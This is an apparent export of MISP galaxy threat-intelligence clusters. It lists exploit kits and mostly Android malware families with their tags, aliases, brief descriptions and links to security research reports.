http://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-exploit-kit-in-cve-2015-0313-attack
https://twitter.com/kafeine/status/562575744501428226

Himan

Himan Exploit Kit

The tag is: misp-galaxy:exploit-kit="Himan"

Himan is also known as:

High Load

Table 768. Table References
Links
http://malware.dontneedcoffee.com/2013/10/HiMan.html

Impact

Impact EK

The tag is: misp-galaxy:exploit-kit="Impact"

Table 769. Table References
Links
http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html

Infinity

Infinity is an evolution of Redkit

The tag is: misp-galaxy:exploit-kit="Infinity"

Infinity is also known as:

Redkit v2.0
Goon

Table 770. Table References
Links
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/

Lightsout

Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex

The tag is: misp-galaxy:exploit-kit="Lightsout"

Table 771. Table References
Links
http://blog.talosintel.com/2014/03/hello-new-exploit-kit.html
http://blog.talosintel.com/2014/05/continued-analysis-of-lightsout-exploit.html
http://malwageddon.blogspot.fr/2013/09/unknown-ek-by-way-how-much-is-fish.html

Nebula

Nebula Exploit Kit has been built on Sundown source and features an internal TDS

The tag is: misp-galaxy:exploit-kit="Nebula"

Table 772. Table References
Links
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html

Neutrino

Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.

The tag is: misp-galaxy:exploit-kit="Neutrino"

Neutrino is also known as:

Job314
Neutrino Rebooted
Neutrino-v

Neutrino has relationships with:

similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 773. Table References
Links
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html

Niteris

Niteris was used mainly to target Russian.

The tag is: misp-galaxy:exploit-kit="Niteris"

Niteris is also known as:

CottonCastle

Table 774. Table References
Links
http://malware.dontneedcoffee.com/2014/06/cottoncastle.html
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack

The tag is: misp-galaxy:exploit-kit="Nuclear"

Nuclear is also known as:

NEK
Nuclear Pack
Spartan
Neclu

Table 775. Table References
Links
http://blog.checkpoint.com/2016/05/17/inside-nuclears-core-unraveling-a-ransomware-as-a-service-infrastructure/

Phoenix

Phoenix Exploit Kit

The tag is: misp-galaxy:exploit-kit="Phoenix"

Phoenix is also known as:

Table 776. Table References
Links
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html
http://blog.trendmicro.com/trendlabs-security-intelligence/now-exploiting-phoenix-exploit-kit-version-2-5/

Private Exploit Pack

The tag is: misp-galaxy:exploit-kit="Private Exploit Pack"

Private Exploit Pack is also known as:

Table 777. Table References
Links
http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html

Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic

The tag is: misp-galaxy:exploit-kit="Redkit"

Table 778. Table References
Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Wild-Exploit-Kit-Appears----Meet-RedKit/
http://malware.dontneedcoffee.com/2012/05/inside-redkit.html
https://nakedsecurity.sophos.com/2013/05/09/redkit-exploit-kit-part-2/

Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: misp-galaxy:exploit-kit="Sakura"

Table 779. Table References
Links
http://www.xylibox.com/2012/01/sakura-exploit-pack-10.html

SPL

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: misp-galaxy:exploit-kit="SPL"

SPL is also known as:

SPL_Data
SPLNet
SPL2

Table 780. Table References
Links
http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/

Sundown

Sundown Exploit Kit is mainly built out of stolen code from other exploit kits

The tag is: misp-galaxy:exploit-kit="Sundown"

Sundown is also known as:

Beps
Xer
Beta

Table 781. Table References
Links
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html
https://www.virusbulletin.com/virusbulletin/2015/06/beta-exploit-pack-one-more-piece-crimeware-infection-road

Sweet-Orange

Sweet Orange

The tag is: misp-galaxy:exploit-kit="Sweet-Orange"

Sweet-Orange is also known as:

SWO
Anogre

Table 782. Table References
Links
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html

Styx

Styx Exploit Kit

The tag is: misp-galaxy:exploit-kit="Styx"

Table 783. Table References
Links
http://malware.dontneedcoffee.com/2012/12/crossing-styx-styx-sploit-pack-20-cve.html
https://krebsonsecurity.com/2013/07/styx-exploit-pack-domo-arigato-pc-roboto/
http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html

WhiteHole

WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422

The tag is: misp-galaxy:exploit-kit="WhiteHole"

Table 784. Table References
Links
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html

Unknown

Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.

The tag is: misp-galaxy:exploit-kit="Unknown"

Table 785. Table References
Links
https://twitter.com/kafeine
https://twitter.com/node5
https://twitter.com/kahusecurity

SpelevoEK

The Spelevo exploit kit seems to have similarities to SPL EK, which is a different exploit kit.

The tag is: misp-galaxy:exploit-kit="SpelevoEK"

Table 786. Table References
Links
https://cyberwarzone.com/what-is-the-spelevo-exploit-kit/

Malpedia

Malware galaxy cluster based on Malpedia..

Malpedia is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Davide Arcuri - Alexandre Dulaunoy - Steffen Enders - Andrea Garavaglia - Andras Iklody - Daniel Plohmann - Christophe Vandeplas - Rmkml

FastCash

The tag is: misp-galaxy:malpedia="FastCash"

FastCash is also known as:

Table 787. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash
https://www.us-cert.gov/ncas/alerts/TA18-275A
https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/
https://github.com/fboldewin/FastCashMalwareDissected/

AdultSwine

The tag is: misp-galaxy:malpedia="AdultSwine"

AdultSwine is also known as:

Table 788. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/

AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: misp-galaxy:malpedia="AndroRAT"

AndroRAT is also known as:

Table 789. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat
https://github.com/DesignativeDave/androrat
https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html
https://www.kaspersky.com/blog/mobile-malware-part-4/24290/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/

Anubis

The tag is: misp-galaxy:malpedia="Anubis"

Anubis is also known as:

BankBot

Table 790. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis
http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html
http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html
https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/
https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/
https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/
http://blog.koodous.com/2017/05/bankbot-on-google-play.html
https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html
https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/
https://pentest.blog/n-ways-to-unpack-mobile-malware/
https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis
https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html
https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html

AnubisSpy

The tag is: misp-galaxy:malpedia="AnubisSpy"

AnubisSpy is also known as:

Table 791. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy
https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/

Asacub

The tag is: misp-galaxy:malpedia="Asacub"

Asacub is also known as:

Table 792. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/

Bahamut (Android)

The tag is: misp-galaxy:malpedia="Bahamut (Android)"

Bahamut (Android) is also known as:

Table 793. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/

BianLian

The tag is: misp-galaxy:malpedia="BianLian"

BianLian is also known as:

Table 794. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian
https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html

BusyGasper

The tag is: misp-galaxy:malpedia="BusyGasper"

BusyGasper is also known as:

Table 795. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper
https://securelist.com/busygasper-the-unfriendly-spy/87627/

Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

The tag is: misp-galaxy:malpedia="Catelites"

Catelites is also known as:

Table 796. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites
https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang
https://www.youtube.com/watch?v=1LOy0ZyjEOk

Chamois

The tag is: misp-galaxy:malpedia="Chamois"

Chamois is also known as:

Table 797. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/

Charger

The tag is: misp-galaxy:malpedia="Charger"

Charger is also known as:

Table 798. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger
http://blog.checkpoint.com/2017/01/24/charger-malware/
http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html
https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf

Chrysaor

The tag is: misp-galaxy:malpedia="Chrysaor"

Chrysaor is also known as:

JigglyPuff
Pegasus

Table 799. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://media.ccc.de/v/33c3-7901-pegasus_internals
https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

Clientor

The tag is: misp-galaxy:malpedia="Clientor"

Clientor is also known as:

Table 800. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor
https://twitter.com/LukasStefanko/status/1042297855602503681

Clipper

The tag is: misp-galaxy:malpedia="Clipper"

Clipper is also known as:

Table 801. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper
https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/
https://news.drweb.com/show?lng=en&i=12739

CometBot

The tag is: misp-galaxy:malpedia="CometBot"

CometBot is also known as:

Table 802. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot
https://twitter.com/LukasStefanko/status/1102937833071935491

Connic

The tag is: misp-galaxy:malpedia="Connic"

Connic is also known as:

SpyBanker

Table 803. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/

Cpuminer (Android)

The tag is: misp-galaxy:malpedia="Cpuminer (Android)"

Cpuminer (Android) is also known as:

Table 804. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer
https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/

DoubleLocker

The tag is: misp-galaxy:malpedia="DoubleLocker"

DoubleLocker is also known as:

Table 805. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

DualToy (Android)

The tag is: misp-galaxy:malpedia="DualToy (Android)"

DualToy (Android) is also known as:

Table 806. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Dvmap

The tag is: misp-galaxy:malpedia="Dvmap"

Dvmap is also known as:

Table 807. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

ExoBot

The tag is: misp-galaxy:malpedia="ExoBot"

ExoBot is also known as:

Table 808. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/

Exodus

The tag is: misp-galaxy:malpedia="Exodus"

Exodus is also known as:

Table 809. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus
https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv
https://securitywithoutborders.org/blog/2019/03/29/exodus.html
https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store

FakeSpy

The tag is: misp-galaxy:malpedia="FakeSpy"

FakeSpy is also known as:

Table 810. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/
https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/

FakeGram

The tag is: misp-galaxy:malpedia="FakeGram"

FakeGram is also known as:

FakeTGram

Table 811. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram
https://blog.talosintelligence.com/2018/11/persian-stalker.html

FlexiSpy (Android)

The tag is: misp-galaxy:malpedia="FlexiSpy (Android)"

FlexiSpy (Android) is also known as:

Table 812. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlexNet

The tag is: misp-galaxy:malpedia="FlexNet"

FlexNet is also known as:

gugi

Table 813. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet
https://twitter.com/LukasStefanko/status/886849558143279104

GhostCtrl

The tag is: misp-galaxy:malpedia="GhostCtrl"

GhostCtrl is also known as:

Table 814. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl
https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/

GlanceLove

The tag is: misp-galaxy:malpedia="GlanceLove"

GlanceLove is also known as:

Table 815. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove
https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773
https://www.ci-project.org/blog/2017/3/4/arid-viper
https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/
https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/
https://www.clearskysec.com/glancelove/

GoldenRAT

The tag is: misp-galaxy:malpedia="GoldenRAT"

GoldenRAT is also known as:

Table 816. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat
https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/

GPlayed

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

The tag is: misp-galaxy:malpedia="GPlayed"

GPlayed is also known as:

Table 817. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed
https://blog.talosintelligence.com/2018/10/gplayedtrojan.html
https://blog.talosintelligence.com/2018/10/gplayerbanker.html

Gustuff

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

The tag is: misp-galaxy:malpedia="Gustuff"

Gustuff is also known as:

Table 818. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://www.group-ib.com/media/gustuff/

HeroRAT

The tag is: misp-galaxy:malpedia="HeroRAT"

HeroRAT is also known as:

Table 819. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/

IRRat

The tag is: misp-galaxy:malpedia="IRRat"

IRRat is also known as:

Table 820. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

JadeRAT

The tag is: misp-galaxy:malpedia="JadeRAT"

JadeRAT is also known as:

Table 821. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat
https://blog.lookout.com/mobile-threat-jaderat

KevDroid

The tag is: misp-galaxy:malpedia="KevDroid"

KevDroid is also known as:

Table 822. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Koler

The tag is: misp-galaxy:malpedia="Koler"

Koler is also known as:

Table 823. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler
https://twitter.com/LukasStefanko/status/928262059875213312

Lazarus (Android)

The tag is: misp-galaxy:malpedia="Lazarus (Android)"

Lazarus (Android) is also known as:

Table 824. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/

Lazarus ELF Backdoor

The tag is: misp-galaxy:malpedia="Lazarus ELF Backdoor"

Lazarus ELF Backdoor is also known as:

Table 825. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus_elf
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990

Loki

The tag is: misp-galaxy:malpedia="Loki"

Loki is also known as:

Table 826. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/

LokiBot

Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.

The tag is: misp-galaxy:malpedia="LokiBot"

LokiBot is also known as:

Table 827. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html

LuckyCat

The tag is: misp-galaxy:malpedia="LuckyCat"

LuckyCat is also known as:

Table 828. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

Marcher

The tag is: misp-galaxy:malpedia="Marcher"

Marcher is also known as:

ExoBot

Table 829. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware
https://www.clientsidedetection.com/marcher.html
https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html[https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html]

MazarBot

The tag is: misp-galaxy:malpedia="MazarBot"

MazarBot is also known as:

Table 830. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot
https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html
https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/

MysteryBot

MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.

The tag is: misp-galaxy:malpedia="MysteryBot"

MysteryBot is also known as:

Table 831. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mysterybot
https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html[https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html]

OmniRAT

The tag is: misp-galaxy:malpedia="OmniRAT"

OmniRAT is also known as:

Table 832. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat
https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/
https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co

Podec

The tag is: misp-galaxy:malpedia="Podec"

Podec is also known as:

Table 833. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec
https://securelist.com/jack-of-all-trades/83470/

X-Agent (Android)

The tag is: misp-galaxy:malpedia="X-Agent (Android)"

X-Agent (Android) is also known as:

Popr-d30

Table 834. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30
http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/
http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/

Fake Pornhub

The tag is: misp-galaxy:malpedia="Fake Pornhub"

Fake Pornhub is also known as:

Table 835. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub

Premier RAT

The tag is: misp-galaxy:malpedia="Premier RAT"

Premier RAT is also known as:

Table 836. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat
https://twitter.com/LukasStefanko/status/1084774825619537925

Raxir

The tag is: misp-galaxy:malpedia="Raxir"

Raxir is also known as:

Table 837. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir
https://twitter.com/PhysicalDrive0/statuses/798825019316916224

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: misp-galaxy:malpedia="RedAlert2"

RedAlert2 is also known as:

Table 838. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

Retefe (Android)

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.

The tag is: misp-galaxy:malpedia="Retefe (Android)"

Retefe (Android) is also known as:

Table 839. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html
http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/

Roaming Mantis

The tag is: misp-galaxy:malpedia="Roaming Mantis"

Roaming Mantis is also known as:

Table 840. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis
https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/

Rootnik

The tag is: misp-galaxy:malpedia="Rootnik"

Rootnik is also known as:

Table 841. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik
https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer
https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java

Sauron Locker

The tag is: misp-galaxy:malpedia="Sauron Locker"

Sauron Locker is also known as:

Table 842. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker
https://twitter.com/LukasStefanko/status/1117795290155819008

Skygofree

The tag is: misp-galaxy:malpedia="Skygofree"

Skygofree is also known as:

Table 843. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/
https://cdn.securelist.com/files/2018/01/Skygofree_appendix_eng.pdf

Slempo

The tag is: misp-galaxy:malpedia="Slempo"

Slempo is also known as:

SlemBunk

Table 844. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html
https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html

Slocker

The tag is: misp-galaxy:malpedia="Slocker"

Slocker is also known as:

Table 845. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker
https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

SMSspy

The tag is: misp-galaxy:malpedia="SMSspy"

SMSspy is also known as:

Table 846. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy

SpyBanker

The tag is: misp-galaxy:malpedia="SpyBanker"

SpyBanker is also known as:

Table 847. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker
https://news.drweb.com/show/?i=11104&lng=en
http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/

SpyNote

The tag is: misp-galaxy:malpedia="SpyNote"

SpyNote is also known as:

Table 848. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr

StealthAgent

The tag is: misp-galaxy:malpedia="StealthAgent"

StealthAgent is also known as:

Table 849. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Stealth Mango

The tag is: misp-galaxy:malpedia="Stealth Mango"

Stealth Mango is also known as:

Table 850. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango
